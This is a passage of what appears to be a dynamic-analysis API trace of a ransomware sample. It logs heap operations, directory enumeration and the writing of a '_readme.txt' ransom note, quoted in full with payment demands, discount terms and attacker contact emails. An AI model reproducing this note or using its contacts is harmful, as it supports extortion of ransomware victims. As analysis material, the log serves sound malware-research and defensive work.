(HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.468] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.468] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.468] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.468] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.468] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.468] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.468] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.468] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.468] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.468] PathFindFileNameW (pszPath="") returned="" [0111.468] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.468] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.468] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.469] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.469] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.469] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.469] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.469] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.469] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0111.469] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.469] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.469] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0111.469] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.469] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.469] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.469] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.469] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.469] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.469] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.469] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.469] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.469] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.470] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.470] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.470] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.470] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.470] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.470] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.470] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.471] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.472] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: 